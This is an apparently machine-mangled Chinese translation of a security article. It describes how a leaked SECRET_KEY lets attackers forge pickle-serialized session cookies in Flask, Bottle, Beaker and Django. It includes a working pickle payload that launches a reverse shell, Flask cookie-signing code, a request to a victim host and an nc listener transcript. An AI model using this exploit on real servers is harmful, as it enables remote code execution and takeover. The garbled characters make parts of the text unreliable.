在与同事交流中发现对于csrf_token(跨站伪造)攻击有不少的问题。python
Django, Bottle, Flask,等全部的python web框架都须要配置一个SECRET_KEY。文档一般推荐咱们使用随机的值,但我很难发现他有任何文字说明,由于这样容易被破解(本地攻击或者文本阅读在web app中更容易受攻击)。攻击者可使用SECRET_KEY伪造cookies,csrf token而后使用管理员工具。不过这很难作到,不过他能够搞一些小破坏,好比执行恶意代码。这也是我下面将要介绍的。web
记得之前使用PHP找到一个能够读服务器上任意文件的bug(不包含本地文件),你将会被迫选择远程执行代码(RCE)。你就须要审查大部分的app资源文件来找到其余的bugs或者有用的信息(好比说用户密码,或者数据库信息等)。在这个状况下,咱们能说PHP是更安全的吗?
在攻击一个Python网站框架的时候,知道你设置的SECRET_KEY字段的攻击者,可以简单的将LFR攻击升级到RCE攻击。我(做者)是从攻击一系列的网站框架以后得出如上结论的。在这些网站框架中,都有雷同的,使用Pickle做为将通过签名的Cookie序列化的方式。shell
在Flask框架中,Flask在config['SECRET_KEY']被赋予某个值,session_cookie_name(default='session')存在于cookie中的时候,将Cookie反序列化,甚至在没有session的状况下。(这样多么好,攻击者能够仅仅经过向config file添加SECRET_KEY的方式制造后门,而且,天真的用户将认为这很是'重要')
数据库
从 werkzeug library 里面提取出来的反序列方法是这样的:
django
def unserialize(cls, string, secret_key): if isinstance(string, unicode): string = string.encode('utf-8', 'replace') try: base64_hash, data = string.split('?', 1) except (ValueError, IndexError): items = () else: items = {} mac = hmac(secret_key, None, cls.hash_method) # -- snip --- try: client_hash = base64_hash.decode('base64') except Exception: items = client_hash = None if items is not None and safe_str_cmp(client_hash, mac.digest()): try: for key, value in items.iteritems(): items[key] = cls.unquote(value) except UnquoteError: # -- snip -- else: items = () return cls(items, secret_key, False)flask
反序列方法检查签名,而后在签名正确的状况下unquote()cookie的值。unquote()方法看起来很是无辜,可是事实上,这是一个默认的pickle.
小程序
#: the module used for serialization. Unless overriden by subclasses #: the standard pickle module is used. serialization_method = pickle def unquote(cls, value): # -- snip -- if cls.quote_base64: value = value.decode('base64') if cls.serialization_method is not None: value = cls.serialization_method.loads(value) return value # -- snip --安全
Bottle: 在默认的bottle设定中时没有真正的secret key的,可是也许有人想要用的功能来加密他本身的cookie.服务器
让咱们来看看代码是怎么样的:
cookie
def get_cookie(self, key, default=None, secret=None): value = self.cookies.get(key) if secret and value: dec = cookie_decode(value, secret) # (key, value) tuple or None return dec[1] if dec and dec[0] == key else default return value or default
当这个密钥被展示出来的时候,而且在cookie中还有其余数值的时候,方法被调用:
def cookie_decode(data, key): data = tob(data) if cookie_is_encoded(data): sig, msg = data.split(tob('?'), 1) if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())): return pickle.loads(base64.b64decode(msg)) return None
再次,咱们看到了Pickle !
Beaker 的session:(任何服务均可以在session上使用beaker的中间件,bottle框架甚至推荐这么作) Beaker.Session 具备不少功能,而且这可能被混淆: 这里面有三个密钥 secret_key, validate_key, encrypted_key)
encrypt_key: 加密cookie信息,而后要么向客户端发送(session.type="cookie"/Cookie mode),要么在(session.type="file"/File mode)中储存。若是没有设定encrypt_key,那么cookie不会被加密,只会被base64编码。当有encrypt_key的时候,cookie会被用encrypted_key, validate_key(可选)和一个随机值用AES方法加密。
validate_key: 用来给加密的cookie签名
secret:在用File mode时候给cookie签名(我不知道为何他们不就用一个validate_key就行了!)
固然,当有人对文件拥有读的权限的时候,他/她理所固然知道全部的字段。然而,File mode使得攻击不得能由于咱们对已经序列化的数据并无控制权,例如,当这些数据储存在本地硬盘上的时候。在Cookie mode,攻击就可以成立,即使cookie被编码了(由于咱们知道怎么encrypt,哈哈)。你也许会问,那个随机参数是不可知的,大家没办法攻击,幸运的是这个随机参数也是cookie存数的session数据的一部分,所以,咱们能够将其替代为任何咱们须要的值。
下面是他们构造session数据的代码
def _encrypt_data(self, session_data=None): """Serialize, encipher, and base64 the session dict""" session_data = session_data or self.copy() if self.encrypt_key: nonce = b64encode(os.urandom(6))[:8] encrypt_key = crypto.generateCryptoKeys(self.encrypt_key, self.validate_key + nonce, 1) data = util.pickle.dumps(session_data, 2) return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key)) else: data = util.pickle.dumps(session_data, 2) return b64encode(data)
咱们明显的看到这些数据的处理存在风险。
Django: 最知名也是在Python语言中最复杂的一个服务器框架。并且,没错,Django的开发者们在Cookie Session上放置了一个蛮不错的警告。以我之鄙见,这个警告不够,而应该被替换成'致命'或者是',而且标上红色。
Django的Session是咋么工做的呢?咱们可以从Django的文档中轻易的找到可阅读的答案:总而言之,Django给了session 3个能够设定的项目:db,file以及signed_cookie。再一次,咱们只对signed_cookie产生兴趣,由于咱们能够轻松的改变它。若是SESSION_ENGINE被设定为“django.contrib.sessions.backends.signed_cookies“,咱们就肯定signed_cookie是背用于session的管理。
有趣的是,若是咱们在request cookie里面构造一个sessionid,它老是会被反序列化。Django也给了咱们一个cookie是如何被签名的好实例。这让咱们的工做轻松多了。
咱们的攻击
咱们尚未讨论咱们如何攻击(有些你可能已经知道了)!感谢您的耐心看到最后,我写它在最后是由于攻击手段充满共性,并且简单(是的,原则性的知识)。
在这里,咱们能够读取任何文件。要找到Python应用程序的配置文件并不难,由于处处有导入(import)。当咱们得到的密钥时,咱们能够简单的实现(或重复使用)签署web框架的cookie,并使用咱们的恶意代码。 由于它们使用的是pickle.loads()反序列化的时候,咱们的使用pickle.dumps()保存恶意代码。
piclke.dump()和loads()一般在处理整数,字符串,数列,哈希,字典类型的时候是安全的....可是他在处理一些恶意构造的数据类型的时候就不安全了!事实上,攻击者能够经过构造的数据类型来达到执行任意Python代码的目的。我写了一段不错的小程序来吧Python代码转换成Pickle序列化的对象。咱们应该从connback.py开始阅读(这其实是一个反向连接的shell),而后咱们将诱使对方网站来用Pickle方法将其序列化。若是有人执行了pickle.loads(payload),那么咱们的反向连接shell就会被激活。
code = b64(open('connback.py').read()) class ex(object): def __reduce__(self): return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) ) payload = pickle.dumps(ex())
如今咱们签名(适用于flask web框架):
def send_flask(key, payload): data = 'id='+b64(payload) mac = b64(hmac(key, '|'+data, hashlib.sha1).digest()) s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}
而后发送
print requests.get('http://victim/', cookies={'session':s})
在另一个终端里:
danghvu@thebeast:~$ nc -lvvv 1337 Connection from x.x.x.x port 1337 [tcp/*] accepted !P0Wn! Congratulation !! sh: no job control in this shell sh-4.1$
还有啥?
-因此怎样?只要你不知道个人secret_key我就是安全的!能够啊,你能够这样....可是和宣称:"我把个人钥匙放在房顶上,我知道你爬不上来..."没啥区别。
-好的, 因此若是我不用这种session cookie,我就安全了!没错,在小型的web app上,将session 储存在文件里面更安全(若是放在DB里面,咱们还面临SQL Injection的危险)。可是若是是大型web app,而后你有个分布式的存储方式,这将致使严重的效率问题。
-那咋办?也许咱们应该让那些web框架不要用piclke来序列化?我不知道是否存在这种框架,若是有的话就行了。PHP更安全吗?事实上不是如此